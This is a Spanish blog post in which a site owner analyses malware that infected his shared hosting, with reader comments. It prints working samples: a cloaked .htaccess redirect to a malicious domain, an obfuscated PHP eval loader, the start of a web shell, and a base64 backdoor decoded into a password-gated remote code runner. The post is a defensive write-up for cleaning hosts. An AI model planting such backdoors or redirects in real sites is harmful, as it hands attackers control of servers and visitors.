¿Malware en tu hosting?


Servidor con MalwareHace un tiempo tuve malware en mi hosting y no encontré casi información sobre el tema.

Todo el mundo decía algo que era bastante obvio (pero igual me sirvió para tener más referencias): Hay algún código de malware infiltrado en algún archivo PHP de tus páginas webs de tu hosting. Obviamente eso es lo obvio que decían. :-þ

Varios especulaban con una y otra cosa. Seguramente esa es la información que vas a encontrar por internet, así que si caíste en este artículo es porque querés encontrar la solución definitiva.

Te ofrezco dos cosas:

  1. El conocimiento para hacerlo tu mismo.
  2. Un script que te puede ayudar a automatizar el proceso.

Antes de darte la solución te voy a mostrar bien cuál es el problema. Al menos este problema en particular.

Otra cosa: Voy a tratar un tema avanzado, o sea, es para desarrolladores web o programadores PHP. Si no sabes nada de eso pide ayuda a un amigo que sí sepa y muéstrale este artículo para que te solucione el problema. Sino vas a tener que aprender otras cosas antes.

Se me generaban varios archivos .htaccess en varios directorios del hosting. Con un contenido como este:

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)

RewriteRule ^(.*)$ http://trade-hilton.ru/siga?7 [R=301,L]

</IfModule>

ErrorDocument 400 http://trade-hilton.ru/siga?7

ErrorDocument 401 http://trade-hilton.ru/siga?7

ErrorDocument 403 http://trade-hilton.ru/siga?7

ErrorDocument 404 http://trade-hilton.ru/siga?7

ErrorDocument 500 http://trade-hilton.ru/siga?7

Por supuesto que para mostrarlo acá lo acomodé porque no estaba así tan claro sino que tenía muchas líneas en blanco y muchos espacios o tabulaciones separando las cosas. El original es casi ilegible. Se ve que era para que a simple vista no te puedas dar cuenta de los cambios que tenía porque ibas a ver algo blanco, como si el archivo estuviera vacío. Pero no nos van a engañar con eso, verdad?

El número puede cambiar por un 9, un 2, y no vi más cambios pero parece que no tiene importancia, o sea, parece que lo escoge aleatoriamente.

Este código qué hace? Redirecciona siempre a esa web. Que no voy a publicar acá como link porque es una trampa. Y no te recomiendo abrirla. Pero fijate que redirecciona solamente si viene de algún buscador (por eso esa cadena de caracteres tan larga que empieza con “google” y sigue con una gran lista de otros nombres, esos son los buscadores).

La intención del atacante acá es que si abres directamente la página no veas nada extraño pero si la abres desde un buscador te abra la otra página y no la tuya. Y lo otro es que si hay algún tipo de error HTTP también te abre la otra página pero no la tuya.

Luego otro patrón común que observé fue que aparecían archivos .php tales como:

checkout_ajax_load.php
config.php
mt30487837n.php
pagenews.php

Esos archivos contienen algo como:

if(isset($_GET[w9376t])){                                                                                                                                        $d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);                                                                                                                                                                                }

Eso lo vi en el config.php. Que fue modificado y tenía ese código añadido al principio. Porque en esa página justo tenía ya un config.php propio de la web (obviamente no debería tener ese código adicionado).

En el caso anterior sí expuse el código completo original sin ajustarlo.

Otros como el mt30487837n.php comienzan con un código como este:

<?php $auth_pass=””;$color=”#df5″;$default_action=”FilesMan”;$default_use_ajax=true;$default_charset=”Windows-1251″;preg_replace(“/.*/e”,

Completándolo con una cadena inmensa (varios kilobytes) de caracteres la cual contiene el código a ejecutarse pero está codificado también. Ese código es para obtener los datos de tu hosting. Muestra todo tipo de información desde la versión de Linux que tiene hasta el acceso a los archivos, número de IP, usuario, espacio en disco, nombre de la distribución, nombre de host, y permite ejecutar comandos en el servidor. O sea, una suite de control total mucho mejor que algunos administradores de archivos que te dan en los hostings. Qué increíble.

A continuación dejo una imagen adjunta para que veas como es:

Panel del Malware

Hazle clic a la imagen para aumentar.

Como ves, ese “desgraciado” le permite al atacante hacer de todo. Es increíble.

Pero hay un código más:

<?php eval(base64_decode(‘ZWNobyAifDBYMXwiOyBpZiAobWQ1KCRfUkVRVUVTVFsncCddKT09JzQwYTk3YWFlM2ExZjBkNTFjMjM3MDRjZGQ2OTUxZDg1Jyl7ZXZhbChzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWydjJ10pKTt9IGVjaG8gInwwWDJ8Ijs=’));?>

Que lo hallé en checkout_ajax_load.php.

Ese código no es otra cosa más que un simple script que le permite al atacante ejecutar remotamente cualquier instrucción PHP.

El código decodificado es:

echo “|0X1|”; if (md5($_REQUEST[‘p’])==’40a97aae3a1f0d51c23704cdd6951d85′){eval(stripslashes($_REQUEST[‘c’]));} echo “|0X2|”;

El $_REQUEST[‘p’] es una contraseña. Y el $_REQUEST[‘c’] contiene el código PHP a ejecutar.

O sea que si la contraseña fue válida se va a ejecutar el código que esté en la otra variable.

Esas variables se rellenan por el navegador cuando envía una petición POST o GET. Así que ese código le permite al atacante ejecutar código PHP arbitrario en el servidor. O sea, hacer lo que quiera con el servidor de tu cuenta de hosting.

Con este último es como generaban los demás archivos. Y así es como ellos podían “meterse” en mi hosting.

Ahora, de dónde es que lograron entrar por primera vez?

De alguna forma tuvieron que haber creado el primer archivo que les permitiera luego seguir creando más archivos.

Hace poco me enteré gracias a mi anti-malware (el script que yo mismo creé para ese propósito), que todo pudo haber venido de un par de plantillas de wordpress. Plantillas que yo no descargué sino que un amigo a quien le estoy compartiendo mi hosting con una página de él hecha con wordpress. Él descargó esas plantillas de algún sitio fraudulento. Fue así como introdujo el malware.

Había llegado a un punto tal en el que a razón de 10 segundos o máximo 30 segundos se recreaban nuevamente todos los archivos, inclusive habiendo eliminado todo el malware. Claro, menos el último código porque como mi antimalware no estaba terminado no se me ocurrió que ese código era el clave para eliminar todo.

Ese último código fue el que adicioné a mi antimalware como último paso y cuando lo limpió, tadaaa, el malware no apareció nunca más (ya lleva 3 días sin aparecer). Y fue ahí donde encontró el mismo código en unos archivos de plantilla de wordpress del dominio de mi amigo. El código estaba en el footer.php. Y me llamó la atención que el archivo, una vez limpiado por mi antimalware, haya quedado en 0 (cero) bytes (o sea, vacío). Pensé que había sido un error mío al programar el antimalware, pero no, resultó ser que el archivo completo era el malware (entonces mi anti-malware había reconocido y limpiado todo el código como malware).

O sea que aparentemente esa había sido la fuente de ingreso original del malware a mi hosting.

Moraleja: no instales plantillas PHP de sitios dudosos. Y como todos los sitios pueden ser dudosos es mejor instalar las plantillas con el instalador propio de wordpress. Sino por las dudas investigar en todo caso antes de instalar alguna manualmente. Verificar quién hizo esa plantilla y qué ofrece y qué pide. Y mejor si tienes un amigo que pueda revisar el código de la misma para estar seguros de que no haga cosas extrañas. Porque inclusive una plantilla muy mal hecha puede tener alguna vulnerabilidad (sería raro pero no imposible, lo más probable es que tenga código malware intencionalmente adicionado).

Así que ya sabes.

El script

Bueno, lo prometido hay que cumplirlo así que te voy a pasar el script anti-malware que programé. Me gustaría que lo fuéramos perfeccionando un poco. Adicionándole cadenas de malware nuevas y verificando bien las existentes para estar seguros de que reconozca con exactitud el malware y que no confunda código auténtico.

Es muy sencillo, ya te vas a dar cuenta.

El archivo contiene no sólo el antimalware (adiosmalware.php) sino que también los malwares en sí. OJO con eso, no instales nada de eso. Lo entrego como herramienta de estudio.

El único que deberías instalar (pero antes especificale adentro el docroot) es el “adiosmalware.php”. Los demás son el malware y son para estudio. Así puedes enterarte cuál es el código completo del malware y lo que pueda hacer.

Es un archivo .RAR con clave. La clave es “adiosmalware” (sin las comillas, claro).

Le puse clave para un poco obligar primero al que lo descargue a leer este artículo. Para que se instruya un poco porque estamos lidiando con cosas “peligrosas”.  O sea, ese antimalware no es para cualquiera. Aunque cualquiera lo puede ejecutar, no hay problema con eso, pero mejor si lo instala alguien con algo de conocimiento en PHP porque puede tener fallas. Aunque a mi me ha funcionado bien, no puedo garantizar que a todos les funcione bien.

La descarga oficial es esta: http://depositfiles.org/files/97ja4xchw (no lo descargues desde otro sitio salvo que conozcas bien de quien es).

Si por cualquier cosa el link deja de funcionar, por favor hazmelo saber.

, , , , , , , , , , ,

  1. #1 por Gerard Lleó el mayo 21, 2012 - 5:10 am

    Esta semana pasada sufrí en mis propias carnes un ataque parecido al que comentas. En mi caso el primer archivo malicioso para ganar el control del servidor lo inyectaron a través de un agujero recientemente descubierto en Apache mod_cgi. Permite agregar código a los archivos php con una peticion en la url.

    Más info en

    http://foro.elhacker.net/php/grave_vulnerabilidad_php_en_modo_cgi-t361611.0.html

    • #2 por anyeos el junio 11, 2012 - 2:55 pm

      Gracias por la información. Tenemos que estar alertas siempre de posibles fallos para ir asegurándonos.
      Para eso compartí también mi script así nos ayudamos a combatir contra esa gente.
      He etado buscando info sobre el software que usan (esos scripts php para acceder a tu servidor) y no encontré quién es el autor. O sea, figura, pero no hay forma de llegar a él. Como que está medio oculto, no? Que tipos covardes hacen programas para explotar vulnerabilidades y se esconden.
      En verdad me dan ganas de denunciarlos para que deje de haber gente con esas malas intenciones. Nos perjudican a todos y nadie gana nada (ni siquiera él). Es un tarado. Ahora, si compartiera su conocimiento para que corrijamos nuestros errores, estaría genial. No sé si lo hacen realmente. No los entiendo.

  2. #3 por Carzel (@carzel) el junio 6, 2012 - 12:43 pm

    muchas gracias por el script y la explicación del problema, yo he tenido en mismo en mi hosting.

    al ejecutar tu script he notado que no entra al if que enllava los archivos php “if (flock($fhandle, LOCK_EX))”.

    sera que tengo que darles algún derecho a los php antes de ejecutarles??

    • #4 por anyeos el junio 11, 2012 - 3:03 pm

      ¿Estás bajo un servidor Linux o Windows? La verdad no tengo idea de si PHP corre bajo Windows, pero yo hice mi script en un servidor Linux.
      Eso de LOCK_EX es necesario porque así se asegura de tener el archivo para él solo, y si otro proceso lo quiere usar (escribir más que nada) tiene que esperar.
      LOCK_EX es un bloqueo exclusivo.

      Y fijate que el script ya se otorga ciertos “derechos”.

      Igual creo que te entendí mal, con que “no entra” qué quieres decir? Que se queda colgado? Porque en todo caso debería entrar en algún momento (cuando el archivo esté disponible) y si los permisos no se lo permiten pues directamente se lo saltearía pero nunca debería quedarse colgado.

      Y cómo sabes que se queda ahí?
      Ese archivo lo tienes que subir a tu servidor como una página web y abrirlo desde un navegador desde una PC cliente. No se debe abrir desde el mismo servidor.

      Bueno, igual esto es para gente un poquito más experimentada. Te sugiero que busques por internet esas respuestas que están. Más no puedo ayudarte por ahora (tampoco se lo que sabes y lo que no, por eso mejor ayudate con el buscador en internet que seguro va a ser más rápido que nuestra charla).

      Gracias igual por tu comentario y visita. Saludos.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: